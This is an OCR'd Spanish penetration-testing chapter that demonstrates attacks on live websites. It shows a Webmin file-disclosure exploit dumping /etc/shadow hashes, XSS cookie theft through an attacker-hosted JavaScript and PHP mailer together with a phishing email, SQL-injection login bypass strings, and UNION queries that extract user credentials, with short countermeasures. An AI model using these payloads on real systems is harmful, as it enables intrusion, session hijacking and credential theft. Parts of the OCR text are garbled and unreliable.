SALIR

Figura 7.13 Bypass al Panel de Control con HTExploit — Backtrack.
En la figura 7.13 se puede observar el panel de control del sitio web, este se obtuvo realizando

el Bypass con la herramienta sin necesidad de conocer el usuario y contrasefia.

180



7.7.2 Contramedidas.

e Utilizar el mddulo modsecurity para restringir los modulos desde apache utilizando la
politica allowed_methods con ello se filtran solo los métodos validados por el servidor
web.

e Validar el cédigo fuente verificando que la variable $PHP_AUTH_USER este encerada,
esto asegura que el usuario ha sido autenticado por el server.

e Admitir solo los métodos GET y POST, esto se lo puede realizar en la variable:
$_SERVER[*REQUEST_METHOD"].

7.8 Obtencidon de Fichero de Usuarios mediante Webmin.

Webmin es una plataforma escrita en Perl y de disefio modular que permite la administracion y
configuracion remota bajo entornos Linux accesibles mediante un sitio web, pudiendo
configurar sistemas operativos, usuarios, archivos internos, tener una integracion para el
control de Apache, MySQL, Samba, etc. (http://es.wikipedia.org , Parr 2).

Las versiones inferiores a 1.2.90 viene con una vulnerabilidad llamada Arbitrary File Disclosure
(Divulgacioén Arbitraria de ficheros) que permite obtener la datos de los archivos /etc/passwd y
/etc/shadow, estos ficheros tienen la informacion de los usuarios y contrasefias en los sistemas

Linux. A continuacion se presenta un ejemplo.

Figura 7.14 Andlisis de sitio web con Nmap — Backtrack.
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Para realizar el testeo se debe verificar con que puerto esté trabajando el Webmin, en la figura
7.14 se aprecia que esta corriendo sobre el puerto 8080, esto sera de vital importancia para
enfocar a este puerto el ataque.

Desktop/VulneWeb# perl -X webmin.pl 3080 /etc/shadow ©

Figura 7.15 Ejecucién del Exploit sobre el objetivo — Backtrack.

Aplicando el Exploit sobre el sitio se brinda como parametros la direccion del sitio web y el
puerto en donde esté corriendo la aplicacion Webmin, adicionalmente se puede agregar un
nombre de archivo para que toda la informacion obtenida se guarde en el mismo como se

muestra en la figura 7.15.

..... By UmZ!
on port 8080!

ttacking
ILENAME : /etc/shadow

FILE CONTENT STARTED

root:$1sIgGU .8y ISZYOIcKzY I ] 8SrkX1L OwNSKTI . :14390:0:99999:7: ::
103919:S1SalbPaNa.SAQrytMdIaHsnelY2TNvOX. :14546:0:99999:7:::
1783189:S1SN1y4UKg3s04Y4YeqTCFQNODya2uPm6/:150899:0:99999:7: - :
7832191:!1515H1IgICVNSSPpPOoXpS3P8HILWVAXFKkk.yt0:14547:0:99999:7: : :
783197 :351$CaF04wKISFIyefT/P39p2pezIljCaBwhB:14547:0:99999:7: : :
783201 :51%50KYZFCCUuSLOoKpBXIFXWTO31lbcgOMT/:14547:0:99999:7:::
783205:SlS?BkK7jL353fndguNANtw1XZOg.OrTnl:14547:0:99999:7:::
783213:5$1S$06pU]j LH5S4Zz00XDNKQWglZzNroOnXAn81:14547:0:99999:7:
783223 : 1S1SRccHIX lLUSavXoMaeq9qgpx/HTmMOTtE.2/:14571:0:99999: 7

783227 :51%5gejphERJISTKLi75R4Tqdumrp7SFhNG6. : 14547 :9:99999:7: :
783239:351STauXW4oxs$zKBzX9wFEgSNS5LbkqJlTS.1:14547:0:99999:7:
783245:351S . UFDrorSskx0dQOFK7hswwuTUSFCBp1:14547:0:99999:7:
783310:5$1$S8dHSSIAS3LWMNTtplIPdS50ZRdes5v9/:14553:0:99999:7:
783312:351sQIL/BMW/Sx6zgaMWpNBJI68S1B5houM/ :15656:08:99999:7:
783301:$1$DITiEC2VSDMpdp/iygWSaywISMeolTO:14547:0:99999:7:
783303:SlS8/2kIFngZodNSfbVRNORFJLgOuIJH/:14547:0:99999:7:
783305:351350LtIm/ LbSwE1TwPg6gImc.s2ZyYILZ. :15099:0:99999:7:

782214: 1$1SGBDSBIPS SgG4thm890U335wlnerhl 14547 :0:99999: 7

783320: 1$1SX8IVPHUPSQTMEESO jTTIFleUHmgko480:14555:0:99999:7: @ :
783322:!SlSK?Yody/JSZUquJiPPerpinG?MOl/:14549:0:99999:7:::
783349:351$b0Oj .JIBHN$73t0d.os/Meal230vQtg90:14637:0:99999:7: ::
783384:51%$7Z0jVjFtesScp2YHBpbNXRA2885Fe87T0:14566:0:99999:7: : :

Figura 7.16 Resultado obtenido del Exploit — Backtrack.

Al observar el contenido del archivo generado en el ataque se muestran todos los usuarios con
sus respectivas claves cifradas incluyendo el usuario root, como se muestra en la figura 7.16.
Con estos datos se puede aplicar un ataque offline de password cracking visto en capitulos

anteriores para capturar la clave en texto plano y con ello ingresar al sitio.
7.8.1 Contramedida.

Para evitar este ataque que puede causar mucho dafio al obtener las claves del root se debe
actualizar la aplicacion Webmin a su ultima versién y estar en constante revisién de posibles

bug sobre las nuevas versiones.
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7.9 Cross Site Scripting (XSS).

Es una vulnerabilidad que se encuentra en una gran cantidad de sitios web, si se da el uso
adecuado puede ser muy peligrosa y eficaz para la obtencion de informacién. Es una técnica
que afecta directamente al “Client Side” (De lado del cliente) esto quiere decir que el ataque va
dirigido directamente al navegador del usuario victima mas no a la integridad del servidor.

Estos ataques son ejecutados al momento de insertar codigo malicioso en un campo mal
validado como lo puede ser: un buscador interno en la pagina, una URL mal validada, dentro de
los mensajes de foros, en formularios de contactos, en campos de comentarios del sitio web.
Por lo general el codigo malicioso ingresado esta en JavaScript o HTML, entre otros. Esta
técnica por lo general es utilizada para secuestrar la sesion del usuario victima y robar
informacion confidencial. El aprovechamiento de esta técnica estd estrechamente relacionado
con la ingenieria social, ya que al ser un fallo provocado desde el lado del cliente se tiene que

realizar técnicas que engafien al usuario para poder obtener la informacién deseada.

7.9.1 Tipos de ataques XSS.

e Ataque Directo (Persistente).

Un ataque Directo o persistente consiste en introducir codigo JavaScript malicioso dentro de la
pagina para que sea guardada y publicada en la base de datos, por lo general el cédigo
embebido en el sitio se programa para que genere un link, el cual al ser accionado por el
usuario victima puede obtener informacion de su sesién sin que se dé cuenta. Este ataque es
muy utilizado en paginas web donde se utilicen foros y comentarios ya que son secciones en
los cuales existe una gran interactividad entre la mayoria de usuarios interesados en un tema

en especial.

¢ Ataque Indirecto (Reflejado).

En este tipo de ataques se presenta cuando se inserta cédigo malicioso en las URLs del sitio o
€en campos gue no se encuentran correctamente validados, permitiendo mostrar mensajes en la
pantalla o la modificacion temporal de la estructura del sitio. Al no almacenar el cédigo
malicioso en la base de datos del sitio el cddigo infectado no se mantiene en el servidor, este
es generado Unicamente cuando la victima de alguna manera utilizando la ingeniaria social
ejecuta el cbdigo pre programado. Algunos administradores no le prestan mayor atencién a

este tipo de ataques ya que al no alterar la informacién en el servidor se sienten seguros, esto
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es un grave error porque al momento de aplicar un buen método de ingeniera social se pueden
obtener las credenciales de usuarios legitimos y con ello tener acceso a informacion
confidencial de la empresa sin haber alterado nada en el sitio web.

A continuacion se presenta un ejemplo de la aplicacién de un ataque XSS sobre un sitio web,
Antes de empezar el ataque primeramente hay que comprobar si la pagina web es vulnerable o
no a esta técnica, para ello se empieza el andlisis introduciendo codigo JavaScript dentro de los
parametros del sitio como lo puede ser en campos de busqueda de informacién, campos de
actualizacion de datos, o0 a su vez realizar las pruebas directamente en la URL del sitio web.

€ ® ¥ ‘ (5 n/Recuperc_Pass.asp?srv="> <script>alert{"Vulnerable a XS5")</script>"

Vulnerable a XSS

Figura 7.17 Testeo de vulnerabilidad XSS — Web Analizada.

Para verificar la vulnerabilidad en una aplicacion web se tiene que realizar una prueba con
cbdigo JavaScript en campos en los cuales se pueda sacar provecho, como lo es en los textbox
mas utilizados por los usuarios o directamente en las URLSs, en el ejemplo de la figura 7.17 se
ingresa el siguiente comando: “><script>alert(“Vulnerable a XSS”)</script>” , al ejecutar
este script presenta un mensaje en pantalla, esto es un aviso que indica que este sitio es

vulnerable a este ataque.
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€ = % ‘ (% v‘i‘Recuperc_Pa;‘-;‘-.asp?:-rl.-': 4 «5crip£‘- whileﬂ]aigrtv;"‘v/u!n&rab!e a XSS"_:c‘scnpt» "

Vulnerable a XSS
Evitar que esta pagina cree didlogos adicionales

Figura 7.18 Comando para realizar XSS — Web Analizada.

En la figura 7.18 se aprecia una variacion en el script insertado en la pagina web vulnerable la
opcioén: while(1), lo que realiza este comando es mostrar un mensaje de alerta en un bucle
repetitivo, si se envia una URL maligna con esta sentencia la victima no podra realizar nada en
la web ya que el mensaje sera constate.

Una vez que se comprueba que el dominio es vulnerable a este ataque se procede a realizar
un ataque mas elaborado, en este caso se realizara un ataque XSS no persistente que enviara
los cookies de una sesion de correo de la victima hacia el correo electronico del atacante para
luego acceder a ella sin necesidad de conocer su clave.

Para esto se necesita que el atacante programe dos archivos y los aloje en un servidor propio,

esto servira para obtener la cookie de la victima, estos archivos son:

ocation.href="http://www. " /test/log.php?item='+e3cape (document.cookie)

Talaldlis

[ vBVaacr

Figura 7.19 Archivo en JavaScript para obtener cookie.
En la figura 7.19 se observa un archivo llamado item.js que realiza la obtencion de la cookie de

la victima y posteriormente la redirecciona al segundo archivo llamado log.PHP ubicados dentro

del mismo servidor manejado por el atacante.

185



TDOCTTEE Btml EUBLIC "=//W3C//DID KAIML L.0 TZansitionaly/EN" "HTTD:/ /Wi, uw3.0rq) 1R/ ROCNLL/ D10/ XHCHLL-Cransitional.dtd s
html xmlns="http://www.w3.0rg/1999/xhtml">

head>

meta http-equiv="Content-Type" content="text/html; charset=utf-g" />

title>Documento sin titulo</titler

/head>

php

Gcookie = § GET['item'];

#ip = getenv("REMOTE ADIR");

ttime = date ("1 ds of F Y hiiis A");

fémensaje = $cookie\nDireccion IP: £ip\Time: £Time";
fasunto = "
mail(" 8cutlook.com”, $asunto, $mensaje);

header ("location: http://windows.microsoft.com/es-419/windows-E/upgrade-to-windows-£");

7>
Kbody>
/body>
/html>

Figura 7.20 Archivo en PHP para el envio del correo electrénico.

En la figura 7.20 se visualiza el archivo log.PHP que es el enlace a la cual redirige el archivo
anterior. Estos comandos realizan una serie de procesos, a continuacion se detallan los
mismos:
e $cookie = $_GET['item’]: Obtiene la cookie enviada del archivo item.js.
e $IP = getenv("REMOTE_ADDR"): Obtiene la IP de la victima.
e $time = date ("1 ds of F Y h:i:s A"): Obtiene la fecha actual.
e $mensaje = "cookie: $cookie\ Direccion IP: $ip\ Time: $Time": Concatena los valores
obtenidos previamente para ubicarlos como mensaje en el correo.
e Asunto = "cookie": Se escribe el asunto con el que va el mail.
e mail("s-----@outlook.com”, $asunto, $mensaje): Se digita el mail al cual se desea que
llegue la informacion obtenida del equipo victima.
¢ header("location:http://windows.microsoft.com/es-419/windows-8/upgrade-to-windows-8"):
Luego de obtener la informacion requerida esta linea de comando re direcciona a la

victima a una pagina web para que no tenga sospechas del robo de su cookie.

Recupero_Pass.asp2srv=">Xseript sre=http:/ /v, [test/1tem, 383"

Figura 7.21 URL maligna que se enviara a la victima.
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Una vez que los archivos se encuentran alojados en el servidor se tiene que disefar la URL
maligna que se enviara a la victima, como se puede observar en la figura 7.21 tomando como
objetivo la URL que mostroé el mensaje: “Vulnerable a XSS” se afiade el script maligno que en
este caso realizar4 una redireccién de la pagina original hacia un archivo “item.js” que se
encuentra alojado en el servidor del atacante y el cual realizara todo el procedimiento

previamente descrito en las figuras anteriores.

e % : || 2.~ Scarch Re

WEbma“ l Corres  ~ Buscar uarcar Avazaco Sar 16 de casa” | Jorge Aisl v Marcela Tauro: tenso oruce en Intrusoe por D

m Contactos | Agenda = Opciones  Fwd: WINDOWS 8

Bimnar | [ Mo 2carpets | 2 Topric Resporcer B 2 B % Bl spem A - Nusya Yentara Ve v
| #| Asuno Carpeta | Tarafio  Recbid

" 3 ~MYTEITE DFCRMACD DE COMO RECLUPSRAR TUI CONTRASEIA CON 2, NUEVQ SISTEMG ORERATIVC

FW: WINDOWS 8 013
¥ Do T Secus Foutiock.com >

Para:

MANTENTE INFORMADO DE COMO RECUPERAR TU CONTRASENA CON EL NUEVO SISTEMA OPERATTVO WINDOWS 8.

REVISA EL SIGUIENTE LINK Y OBTENDRAS PASOS IMPORTANTES PARA RECUPERAR TUS CONTRASENAS.

by

Figura 7.22 Correo electrénico enviado a la victima — Web Analizada.

En la figura 7.22 se aprecia el correo enviado a la victima, en este punto juega un papel
fundamental la ingenieria social ya que mediante ella se podra engafar al usuario para que
realice las acciones que se necesitan, en este caso se envia un correo dandole a conocer
métodos para que recupere las contraseflas de su sistema operativo, el usuario al estar
interesado realiza un clic sobre el link malicioso que enviara a la victima al servidor del atacante
para realizar el robo de la cookie y posteriormente lo dirigira a una web de Microsoft. Todo esto
se realiza en milésimas de segundo por lo que el usuario no se dard cuenta que fue
redireccionado a un servidor externo.

Para que el link pase de una manera desapercibida y el usuario no dude de su veracidad se
puede codificar el enlace, existen diferentes programas en Internet que permiten realizar este
proceso como lo es el software morf v0.3 o utilizando acortamiento de URLs (URL shortener)

muy difundido en la actualidad en las redes sociales.
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Figura 7.23 Correo recibido por el atacante.
En la figura 7.23 se muestra el mail recibido por el atacante luego de que la victima hiciera clic
en el enlace malicioso, como se puede observar, en el correo se muestra la cookie con la cual

la victima esta logueado, teniendo esta cookie el atacante puede acceder a la cuenta de correo.

[ e ———EE

et de conkes [uiosiocds cackios | configuracén | | Detallesde a cookie

Hora de creacién ~ Monday, | 2013312:35 AM
Dominios Cookies
s Dominio ogin.webma
. - # Nombre Valor
- ||| PHPSESSID BoteBlip06igStaltmios Hommbee PHPSESSD
Valor iﬂowkmrbtusdn@[gu%bﬂ
Camino
httpOnly O tve @ false
’ isSecure () tue @ false
isSession @ tue (7 false
[
e
Fiitrar Cominics: Fittrar Cookies: Guardar Quitar Anadir Cookie
Todo dominics | 0 Todo cookie cto,

Acercade | | Feedback- | EMequstz (%8 Colabera

Figura 7.24 Administrador de Cookie - Firefox.

| Refrescar LBorrartodaslascooknesJ ' Importar J l Exportar } | Cerrer } lMinimr
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Una vez obtenida la cookie de la sesion de la victima se tiene que modificar la cookie del
atacante para poder tener acceso a la cuenta del usuario para esto existen varias herramientas
gue permiten modificar las cookies, en este caso se utiliza una extension del browser Firefox
llamado: “Advanced Cookie Manager” con la cual se puede modificar las cookies de todas las
paginas en las cuales se esté navegando. En este ejemplo al modificar la cookie original del
navegador del atacante por la que se obtuvo mediante el correo, se lograra acceder a la cuenta

de la victima sin necesidad de conocer su clave.

7.9.2 Contramedidas a XSS.

Como se puede apreciar en el ejemplo anterior esta técnica es muy versatil y peligrosa puede
ocasionar bastante dafio al interior de la empresa, es por ello que debe ser controlada con
bastante atencion por los administradores de los sitios web. Existen contramedidas que se
pueden aplicar para mitigar en gran medida la ejecucién de esta técnica, entre algunas se
encuentran:
e Al momento de la programacion de las aplicaciones se debe brindar un énfasis especial a
las validaciones de los campos en cuanto a que datos, parametros y longitud van a ser
permitidos, filtrar comandos que permiten la ejecuciébn de estos atagues como son:

Object, Script, Form permitiran reducir el riesgo de ser victimas de estos ataques.
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7.10 SQL Injection.

En la actualidad cada vez es mas notoria la capacidad y versatilidad que disponen los sitios
web para el manejo de un entorno dinAmico que pueda interactuar con los usuarios, para ello
es casi imprescindible que las webs manejen un gestor de base de datos (Oracle, MySQL,
PostgreSQL, SQL Server, etc) con soporte para lenguaje SQL (Structured Query Language),
dado que ahi la empresa tendra uno de sus recursos mas importantes: la informacion.

Es por ello que los atacantes intentan vulnerar las seguridades implementadas por los
administradores para tener acceso a estos datos Es aqui donde toma fuerza la técnica llamada
SQL Injection que realiza consultas SQL arbitrarias dentro de una aplicacion conectada a una
base de datos modificando el comportamiento de dichas consultas, esto se debe a la falta de
control en los parametros de ingreso o errores de programacion en las aplicaciones conectadas
a la base de datos. (Gonzales, Enrique Rando , Pag 11).

A continuacion se presentan algunas instrucciones sobre los gestores mas utilizados:

INSTRUCCIONES BASICAS DE LOS GESTORES.
ORACLE | POSTGRESQL | MYSQL | SQLSERVER

UTILIZACION DE TABLA NO
FICTICIA DUAL | NO SOPORTA | DUAL | SOPORTA
INCLUCION DE CODIGOS ASCII CHR CHR CHAR CHAR
EXTRAER PARTE DE UNA
CADENA SUBSTR SUBSTR SUBSTR | SUBSTRING
OBTENER LONGITUD DE
CADENA LENGTH LENGTH LENGTH LEN

Tabla 7.1 Instrucciones sobre Gestores de Bases de Datos.
En la tabla 7.1 se muestran cuatro instrucciones sobre la utilizacion de tablas ficticias utilizado

comunmente en los gestores de bases de datos.

OBTENCION DE LA VERSION DEL GESTOR.
BASE DE DATOS SINTAXIS
ORACLE select version from v$instance;
POSTGRESQL select version();
MYSQL select version();
SQLSERVER select @@version;

Tabla 7.2 Version de los Gestores. (Gonzales, Enrique Rando 218)

En la tabla 7.2 se presenta la sintaxis para obtener la version del gestor que se esta utilizando,

esto es de gran importacion para buscar ataque enfocados hacia esas versiones.
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OBTENCION DE BASE DE DATOS.
BASE DE DATOS SINTAXIS
ORACLE select name from v$database
POSTGRESQL select current_database();
MYSQL select database();
SQLSERVER select DB_ NAME();

Tabla 7.3 Nombre de la Base de Datos. (Gonzales, Enrique Rando 219)
También es importante conocer el nombre de la base de datos alojada en el gestor para ello se
utilizan la sintaxis mostrada en la tabla 7.3.
Para realizar las consultas arbitrarias es de mucha importancia conocer la sintaxis utilizada en
cada gestor, es ahi el punto de partida para obtener resultados éptimos sobre los sitios
analizados, para ello se puede consultar la web: “http://pentestmonkey.net/category/cheat-
sheet/SQL-injection”, esta web contiene la sintaxis utilizada por la mayoria de gestores y la

forma como pueden ser aplicadas en las consultas para la obtencién de informacion.

7.10.1 Bypass de acceso.

Cuando se analiza un sitio web en la mayoria de los casos existe un formulario de Login de
autentificacion que permite a los usuarios registrarse y tomar control de cierta informacion
confidencial. La técnica descrita a continuacién permite saltear mediante SQL Injection las
medias de seguridad del sitio web para acceder a una cuenta sin conocer su usuario y clave.

Existen diferentes variaciones para realizar un SQL Injection a los formularios de autenticacion

entre los mas utilizados estan:

¢

e admin’ - -

e ‘or1=1--
e orl=1

e ‘or0=0#

e “or(a="a
e “or0=0--
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RESPONSABILIDAD INTEGRAL

i BIENVENIDO !

Hoy en dia las herramientas proporcionadas por la tecnolégica son
constantemente mejoradas y aplicadas de manera mas especifica en la
realizacion de una tarea, optimizando procesos y recursos, las organizaciones
que no hacen uso de este tipo de herramisentas, estan condenadas al fracaso.

Responsabilidad Integral no es la excepcion, y para mejorar la difusidn v
desempeno del sistema busca ser parte de esta corriente innovadora. .

Autcevailuaciones

Siguiendo con la tendencia de lograr gue las nuevas tecnologias nos faciliten

7.25 Validacion de Pagina web susceptible a SQL Injection.

En la figura 7.25 se ingresa un apostrofe en uno de los campo de autenticacion del formulario

de la pagina web para constatar si es 0 no vulnerable a esta técnica.

€ P ¥ & i/Login_validate.asp

|Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft])[Controlador ODBC Microsoft Access] Error de sintaxis en la cadena en la expresion de consulta ‘user=" AND pwd=" ORDER BY Id".

/ri/Login_validate.asp, linea 28

7.26 Verificacion de error SQL Injection— Web Analizada.

El error producido por la pagina web indica que la pagina si es vulnerable a este ataque y que
se puede proceder a inyectar cédigo SQL en los campos del formulario como se muestra en la
figura 7.26.
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7.27 Cbdigo Sql Injection — Web Analizada.
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Una vez comprobando que la pagina web es vulnerable a este ataque se tiene que probar las
diferentes combinaciones de las sentencias citadas anteriormente, cada una de ellas puede
tener o no efecto sobre el gestor de la pagina. En la figura 7.27 se muestra la sintaxis ingresada
sobre el formulario de acceso, cabe indicar que se pueden testear nombres de usuario como
admin, administrador, etc. En este caso se inyect6 el comando SQL tanto en el usuario como

en la contrasefia, a detalle se puede explicar de la siguiente manera la sentencia utilizado:

En condiciones normales la consulta seria la siguiente:

e Select id from tabla_usuarios where usuario="admin’ and password="clave123’;

Al realizar la inyeccion SQL la consulta cambia radicalmente:

e Select id from tabla_usuarios where usuario=*’ or ‘a’="a’ and password = ‘’ or ‘a’='a’;

Al ingresar la sentencia 'or ‘@’="a el gestor de base de datos lo interpreta de tal manera que
siempre va a dar un resultado positivo y por consiguiente validara la consulta realizada

independientemente de conocer algun usuario legitimo de la base de datos.

nosotros servicios secciones comisiones Dbiblioteca
= L ] - = =

RESPONSARBILIDAD INTEGRAL

B Datos Generales
=3 autoevaluaciones

Lionado deo

Autoavatuaciones EDMUNDO
Resultados del Secuor
Afos anteriores
@ Indicadores
Lisnado do
Indicadores
Resultados del Sector Numero de Socio :
ARas anteriores Vigente : Si
Retacionez do indicaz Responsable; > Edmundo ¢ - -
e Puesto : Gerente de
ir
Responsabilidad Integral
Telefono : . 36
Fax: B 08

Figura 7.28 Bypass sobre la Pagina web.

Como se aprecia en la figura 7.28 se logré realizar un Bypass de la pagina web evitando el
ingreso de usuario y contrasefia. En ningln momento se supo estos datos de validacion del
sitio pero al ser vulnerable a Sql Injection se logré aplicar los comandos para ingresar a la
pagina web.
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7.10.2 SQL Injection so

bre Urls.

La inyeccion de codigo SQL se puede testear en cualquier enlace que la pagina web disponga,

al igual que en los formularios en este caso al momento de ingresar un apostrofe sobre una

URL si es vulnerable mostrard un mensaje de error la pagina web y con ello se sabra que es

vulnerable a esta técnica. A continuacién se presenta un ejemplo.

Categorias
Periodizmo

K KKKK
0
c
0
b
i
6
U]

Hiztoris v ciencias

socisle=

Buscador

Entra a2l mundo de los
creadores colombianos,
Digita aquf al nombra da la
obra 'y disfruta de su mundo

Titulo: Nombre Libro

Autor: Pepito Quintero
Namero de paginas: 122

Tapa: Dura

Madidas: 12x324

Faecha: Agosto de 2000

ISBN: 12466785678567856785
Idioma: Espafiol

El libro es hasta cool

Precio: $36 ($USD 12)

(COMPRAR.

7.29 Pagina web vulnerable a SQL Injection — Web Analizada.

En la figura 7.29 se presenta una vista general de la pagina web que sera puesta a prueba al

ataque SQL Injection.

Warning: my=ql_numrow=(): supplied argument iz not a valid MySQL result rezource in

/home/creadmin/public_htmi/libros/libros.php con line 212

K kKKK
0
c
3
3
i
iy

Histori= v ciencias

socizlas

Buscador

Entra al mundo de= lo=
creadores colomblanos.
Digita aqui el nombre de Iz
obra y disfruta da =u mundo

n

Figura 7.

30 Validacién de Pagina Web — Web Analizada.

En la figura 7.30 se realiza la prueba en una URL:

www.sitioweb.com/libros/libros.PHP?id=’, con ello se verifica que el sitio si es vulnerable a
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este ataque ya que presenta un mensaje de error indicando que el gestor no puede validar

ciertos argumentos ingresados en la consulta.

Categorias

Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in

Bedodismo /home/creadmin/public_html/libros/libros.php on line 212

Poesiz

N

N

N Cuentos
N Pintura
N
|

Historia y cienciss
sociales

Buscador

Entra al mundo de los
creadores colombianos.
Digita aqui el nombre de |a
obra y disfruta de su mundo

Figura 7.31 Confirmacion de campos afectados— Web Analizada.

Una vez verificado que la pagina web es vulnerable a este ataque el siguiente paso es conocer

cuantos campos maneja la tabla con la cual se estd comunicando la web, para ellos se ingresa

la sentencia:
www.sitioweb.com/libros/libros.PHP?id=1+order+by+17+--.

Para conocer los campos exactos que tiene la tabla se puede probar con la sentencia “order

by”, lo que realiza es la organizacion por el nUmero de campo seleccionado, en esta web al

realizar el testeo numero por numero la pagina no varia su forma visual, pero al ingresar un

numero superior al de columnas que tiene la tabla se produce nuevamente un error por lo que

se deduce que el nimero de columnas es uno menos al nimero que devolvid el error por lo

gue es este caso serian 16 columnas.
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Categorias Titulo: 2

Periodismo Autort S e
e e Nimero de paginas: 4
Tapa: 5

Medidas: 6

Fecha: 7

ISBN: 8

Idioma: 9

Historia v ciencias
socisles
10

Buscador

Entra al mundo de los
creadores colombianos.
Digita aqui el nombre de |2
obra y disfruta de su mundo

Ui

Precio: $12 ($USD 11)

| COMPRAR

Figura 7.32 Validacién y visualizacion de columnas— Web Analizada.

Ahora que se conoce exactamente el nimero de columnas que maneja la tabla con la cual esta
trabajando el gestor en esta URL especifica se tiene que mostrar los campos visibles para
poder usarlos en las consultas posteriores, para ello se ingresa la siguiente sentencia:
www.sitioweb.com/libros/libros.PHP?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
Ahora se debe realizar una concatenacién de dos consultas, para ello se utiliza el parametro
“‘union” y a continuacién se realiza la siguiente consulta con “select” como solo interesa lo que
pueda generar la segunda consulta en el campo generado para los resultados estandares”?=id”
se ingresa un valor negativo (“-1”) con el objetivo de que no brinde ningun resultado y que solo
presente resultados generados por el atacante. Luego del “select” se ingresan los valores del 1
al 16 ya que previamente se valido con “order by” que existian 16 columnas en esta tabla. Una
vez generada esta consulta los campos con los que se podra trabajar se visualizaran y con ello

obtener informacién como se aprecia en la figura 7.32.
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Categorias

Periodismo
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3
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3
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3
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Buscador

Entra al mundo de los
creadores colombianos.
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ISBN: 8
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10

Precio: $12 ($USD 11)

—
OBRAS

Figura 7.33 Visualizacion de Datos del Gestor— Web Analizada.

Como ahora se sabe que campos son visibles se pueden reemplazar los nameros por

sentencias mas detallas, en este caso se reemplaza los numeros 2,3,4 para obtener la version,

el nombre de la base de datos y el usuario principal indexado al gestor como se presenta en la

figura 7.33 se conoce ahora que maneja un MySQL en su version 5 por lo que a partir de este

momento la sintaxis se enfocara hacia este gestor.

’ ¥ 7id=-1 union select 1,2,3,count(table_narme),5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.tables where table_schema = databasek)
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Titulo: 2

Autor: 3

Namero de paginas:_13
Tapa: 5
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Fecha: 7

ISEN: 2

Idioma: 9

10

Precio: $12 ($USD 11)

OBRAS

Figura 7.34 Niumero de tablas de Base de datos— Web Analizada.
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Una vez conocido el nombre de la base de datos es de mucha importancia conocer el nimero
de tablas que conforman dicha base para ello se ejecuta la sentencia mostrada en la figura
7.34 con la cual, al implementar el comando “count(table_name)’ se obtiene el numero exacto
de tablas recuperadas de la base de datos. Si existen mas bases de datos se reemplazaria el

comando “database()” por el nombre de la base de datos que se desee.

Obras

Categorias Titulo: 2

Autor: 2

M Periodismo
M Poesis

M Cusntos
M Pintura

Buscador

Entrs al mundo ds lo=
creadoras colombiznos.

Ndimero de paginas: usuarios
Tapa: 5
Medidas: 6
Facha: 7
TISEN: 2
Idioma: S

10

Pracio: $12 ($USD 11)

“COMPRAR )

Digita aqui el nombre de I3
obra y disfruta de su mundo

i

Figura 7.34 Nombre de tablas obtenidas— Web Analizada.

Una vez conocido el nimero de tablas se tiene que conseguir los nombres de dichas tablas,
para ellos se utiliza el comando "table_name” en la consulta SQL y para poder visualizarlas una
a una se utiliza los siguientes comandos:
e Limit: Es utilizado para restringir el nimero de registros que seran retornados por la
consulta.

e Offset: Es usado para visualizar un registro especifico de los generados por la consulta.

Por ello se tiene que testear registro por registro hasta obtener una tabla que contenga
informacién interesante, en este caso se observa en la figura 7.34 que en la tabla nimero 11 es

la tabla que maneja los usuarios por lo que se puede obtener mas informacioén de ella.
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nns+where+table_name+=0x7573 3 +fimit+1+offset+1

Categorias Titulo: 2
M Periodismo Al;ltor: 3 .

S Nimero de paginas: username
M Poesia Tapa: 5 T
M Cuentos Medl:das: 6

2 Fecha: 7

M Pintura ISEN: 8
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N Novela 10
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R

Precio: $12 ($USD 11)

Figura 7.35 Campos obtenidos de la Tabla Usuarios— Web Analizada.

Para obtener los campos de la tabla usuarios se utiliza el comando “column_name” y se realiza
un “where” donde compare con el nombre de tabla de la que se desea obtener la informacion,
en este caso la tabla usuarios. Existen ocasiones en que este tipo de consultas sobre los sitios
web no aceptan las comillas para especificar un pardmetro de comparacién como normalmente
se hace al realizar comparaciones en una consulta SQL. Para evadir esta restriccion hay que
convertir la palabra a hexadecimal en este caso la palabra a comparar es: usuarios, existen
varias péaginas web que permiten realizar esta codificacion una de ellas es:
http://ostermiller.org/calc/encode.html, con 1lo que Ila palabra quedaria asi:
7573756172696f73. Una vez obtenida esta codificacion, para que la consulta detecte que el
parametro que se esta pasado es un hexadecimal se debe anadir “Ox” antes del cddigo
hexadecimal. Con esto la consulta se ejecutara normalmente. De igual manera se debe utilizar
los comandos “limit” y “offset” para obtener un campo a la vez hasta encontrar los campos que

guarden los usuarios y las contrasefias.
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rom-+usuanos +limit+1+offset+1

Categorias Titulo: 2

ALY Autor: 3
» Peno'dlsmo Nimero de paginas: j «wdo:(pardor «
4 Pocsia Tapa: 5 —————
N Cuentos Medidas: 6

Fecha: 7
N Pintura ISBN: §
N Historia v ciencias Idioma: 8
socizles

N Novels 10

Buscador

Entra al mundo de los
creadores colombianos.
Digita aqui el nombre de Ia
obra y disfruta de su mundo

Precio: $12 ($USD 11)

Figura 7.36 Consulta SQL para obtener usuarios y claves— Web Analizada.

Luego de obtener los campos donde se guardan los usuarios y sus contrasefias, quedaria
como ultimo paso realizar una consulta SQL que permita apoderarse de los registros de los
usuarios con sus respectivas claves. En la figura 7.36 se muestra la sentencia SQL que permite
realizar este proceso, el comando “(username,0x3a,password)’” concatena los campos
obtenidos en la consulta anterior con el signo “” que se encuentra en hexadecimal esto se
obtiene de la tabla usuarios. Una vez ejecutada la consulta se visualiza registro por registro
aplicando las opciones “Limit” y “offset”. Pudiendo asi obtener los usuarios y contrasenas de la

base de datos siendo esto uno de los principales objetivos de esta técnica.

7.10.3 Automatizar SQL Injection con SQLMap.

Es una herramienta de cddigo abierto desarrollada en Python utilizada para realizar pruebas de
penetracion enfocada a SQL Injection. Su objetivo es automatizar el proceso de deteccién y
exploracién de errores sobre SQL en aplicaciones web, entre sus principales caracteristicas se
encuentran:
¢ Amplio soporte para los gestores de bases de datos como lo son: MySQL, Oracle,
PostgreSQL, SQL Server, DB2, entre otros.
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e Soporte para enumerar usuarios, hashes, privilegios, roles, bases de datos, tablas y

columnas. (http://www.sglmap.org/ ,Parr 1,2).

SQLMap es una herramienta muy flexible permite lanzar ataques focalizados hacia el objetivo,
entre las opciones mas utilizadas se encuentran:

e --u: Comando utilizado para detallar la URL que se desea testear.

e --dbs: Lista las bases de datos encontradas en el objetivo.

e --tables: Visualiza las tablas que contiene la base de datos.

e --colums: Enumera las columnas de la tabla seleccionada.

e --SQL —query: Utilizado para ejecutar sentencias SQL.

